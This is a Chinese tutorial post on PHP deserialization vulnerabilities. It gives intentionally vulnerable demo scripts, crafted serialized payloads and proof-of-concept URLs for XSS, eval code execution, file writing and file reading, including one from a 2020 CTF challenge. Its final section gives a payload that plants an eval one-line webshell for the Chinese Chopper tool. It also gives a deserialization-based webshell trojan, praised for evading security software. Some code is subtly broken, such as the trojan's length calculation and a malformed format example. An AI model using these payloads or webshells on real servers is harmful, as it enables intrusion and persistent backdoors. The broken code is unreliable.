PHP反序列化漏洞

2022-11-02 13:45:35 浏览数 (1)

0x001 漏洞产生原理

  在反序列化的过程中自动触发了某些魔术方法。未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致XSS、代码执行、文件写入、文件读取等不可控后果。

0x002 漏洞触发条件

  一般只能通过代码审计的方式挖掘该漏洞,寻找代码中unserialize()函数的变量可控,且PHP文件代码中存在可利用的类,同时类中具有魔术方法。

0x003 PHP魔术方法

  • __construct() 当一个对象创建时被调用
  • __destruct() 当一个对象销毁时被调用
  • __toString() 当一个对象被当作一个字符串使用
  • __sleep() 在对象在被序列化之前运行
  • __wakeup 将在序列化之后立即被调用

0x004 序列化数据格式

序列化主要分为字符型、数组型、对象型。

以序列化对象格式为例

代码语言:javascript复制
O:4:"info":2:{s:4:"name";i:2:"19";}

0x005 反序列化漏洞

1. XSS

漏洞示例demo2.php:

代码语言:javascript复制
<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}

unserialize($_GET['a']);
?>

构造序列化值:

代码语言:javascript复制
O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}

利用序列化值构造POC:

代码语言:javascript复制
http://127.0.0.1/labs/fxlh/demo2.php?a=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}

成功在页面进行了弹窗:在序列化数据之后,立即自动调用了__wakeup()函数,执行 <img src=1 onerror=alert(1)>

2. 代码执行

漏洞示例test.php:

代码语言:javascript复制
<?php
class Example {
    var $var = '';
    function __destruct() {
        eval($this->var);
    }
}
unserialize($_GET['a']);
?>

构造序列化值:

代码语言:javascript复制
O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

利用序列化值构造POC:

代码语言:javascript复制
http://127.0.0.1/labs/fxlh/test.php?a=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

成功显示了phpinfo页面:在反序列化该数据时,自动触发了_destruct()函数,执行 eval(phpinfo())

3. 文件写入

漏洞示例demo3.php:

代码语言:javascript复制
<?php
require "shell.php";
class B{
    function __construct($test){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$test);
        fclose($fp);
    }
}
class A{
    var $test = '123';
    function __wakeup(){
        $obj = new B($this->test);
    }
}

unserialize($_GET['a']);
?>

构造序列化值:

代码语言:javascript复制
O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

利用序列化值构造POC:

代码语言:javascript复制
http://127.0.0.1/labs/fxlh/demo3.php?a=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

成功将phpinfo写入了shell.php:在反序列化该数据结束后,,立即自动调用了__wakeup()函数,而在__wekeup()创建了对象后,就会自动调用__construct()函数,从而执行了文件写入的操作。

4. 文件读取

2020 ISCC CTF中的一道题为例

代码语言:javascript复制
<?php  
@error_reporting(1);
include 'flag.php';
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
}
else 
{
    $url='./index.php';
}

$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.="<p>谢谢参与!</p>";
}
?>

代码审计

  1. GET形式传入一个data参数,并且对data参数进行了反序列化;
  2. 使用了_toString() 当一个对象被当作一个字符串时自动调用
  3. 使用file_get_contents()包含$file文件内容;
  4. 最后使用base64_encode()加密输出$file文件中的内容。

构造序列化值:

代码语言:javascript复制
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

利用序列化值构造POC:

代码语言:javascript复制
http://101.201.126.95:7003/index.php?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

成功显示了flag.php文件中的内容:在反序列化该数据时,自动触发了_toString()函数,执行 base64_encode(file_get_contents($filename))

5. 漏洞拓展

  上面讲的都是基于魔术方法下的敏感操作导致的反序列化导致的安全问题。但是当漏洞/危险代码存在在类的普通成员方法中,该如何利用呢? 

漏洞示例demo4.php:

代码语言:javascript复制
<?php
class maniac{
    public $test;
    function __construct(){
        $this->test =new x1();
    }

    function __destruct(){
        $this->test->action();
    }
}
class x1{
    function action(){
        echo "x1";
    }
}

class x2{
    public $test2;
    function action(){
        eval($this->test2);
    }
}

$class2  = new maniac();
unserialize($_GET['test']);
?>

我们发现类的普通方法调用eval()函数,这个函数很危险,如果可控就可能造成代码执行。

 通过代码发现$_GET['test']可控,因为使用unserialize()会自动调用__destruct(),所以它会先调用action()函数,然后会走到x1类和x2类,而安全问题在x2类中。

构造如下序列化代码serialize-demo4.php:

代码语言:javascript复制
<?php
    class maniac{
        public $test;
        function __construct(){
            $this->test = new x2();
        }
		function __destruct(){
			$this->test->action();
		}
    }

    class x2{
        public $test2="phpinfo();";
		function action(){
			eval($this->test2);
    }
    }

    $class1 = new maniac();
    print_r(serialize($class1));
?>

上述序列化代码运行后得到的序列化值:

代码语言:javascript复制
O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}

利用得到的序列化值构造POC:

代码语言:javascript复制
http://127.0.0.1/labs/fxlh/demo4.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}

0x006 反序列化webShell

1. 配合菜刀getShell

漏洞示例test.php:

代码语言:javascript复制
<?php
class Example {
    var $var = '';
    function __destruct() {
        eval($this->var);
    }
}
unserialize($_GET['a']);
?>

利用eval()传入可控参数,写入一句话木马 <?php @eval($_GET[cmd]);?>,构造序列化数据值:

代码语言:javascript复制
O:7:"Example":1:{s:3:"var";s:62:"fwrite(fopen('shell.php', 'w'),'<?php @eval($_POST[cmd]);?>');";}

利用序列化值构造POC

代码语言:javascript复制
http://127.0.0.1/labs/fxlh/test.php?a=O:7:"Example":1:{s:3:"var";s:62:"fwrite(fopen('shell.php', 'w'),'<?php @eval($_POST[cmd]);?>');";}

执行该POC后,会在同级目录下生成一个shell.php文件,通过菜刀连接访问shell.php,即可getShell

2. 反序列化木马

利用反序列化的特点,编写webShell木马

代码语言:javascript复制
<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test) 1;
$pp = "O:1:"A":1:{s:4:"test";s:".$len.":"".$test.";";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

使用菜刀连接该webShell木马

此木马与正常文件很像,所以对于免杀安全狗等防护软件效果很不错。

参考文章

  • https://xz.aliyun.com/t/2202
  • https://www.freebuf.com/news/172507.html
  • https://www.cnblogs.com/xiaoqiyue/p/10951836.html
  • https://www.cnblogs.com/piaomiaohongchen/p/10923067.html

0 人点赞